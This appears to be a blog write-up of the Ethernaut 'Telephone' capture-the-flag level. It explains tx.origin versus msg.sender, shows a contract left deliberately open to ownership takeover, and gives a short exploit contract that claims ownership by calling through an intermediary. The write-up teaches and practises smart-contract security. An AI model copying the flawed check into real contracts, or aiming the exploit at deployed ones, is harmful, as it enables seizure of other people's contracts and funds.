Ethernaut Series - 04 (Telephone)
Concept
The main concept being taught in this level is the difference between the use of tx.origin
and msg.sender
. Let’s try and understand this using the following image:
Observations:
If Bob calls
contract A
, the contract will see the value oftx.origin
as well asmsg.sender
as Bob’s account/contract address.Now in the above scenario, if
contract A
makes a call tocontract B
then forcontract B
, the value ofmsg.sender
will be equal to the address ofcontract A
whereas the value oftx.origin
will still be Bob’s address.Now let’s say
contract B
callscontract C
, in such a case,contract C
will see the value ofmsg.sender
as the address ofcontract B
whereas the value oftx.origin
will still resolve back to Bob’s address.
This concludes that tx.origin
always points to the source address where the transaction or a function call was initiated whereas msg.sender
is the address of the immediate contract/user address which made that specific transaction/call.
Code
We are provided with the following codebase:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
As we can see, the contract checks if the tx.origin
is not equal to msg.sender
. Now if we think about it, any random contract/user can make a call to this contract and claim its ownership, since it checks if the addresses of a call to this function changeOwner
, are not equal.
There is no check to see if the call is being made by the pre-existing owner or someone who is meant to have such permissions.
So to exploit this contract, we simply need to ensure that our tx.origin
and msg.sender
are not equal.
Proof-Of-Concept
The concept can be coded very simply as follows:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8;
interface ITelephone{
function owner() external view returns (address);
function changeOwner(address) external;
}
contract Exploit{
constructor(address _target){
ITelephone(_target).changeOwner(msg.sender);
}
}
We provide the address of the instance while deploying the exploit contract using remix IDE:
After deploying the contract, it will make the function call to changeOwner()
function which will allow us to make us the owner of the instance of that level. This marks the completion of our level.
Subscribe to my newsletter
Read articles from hexbyte directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by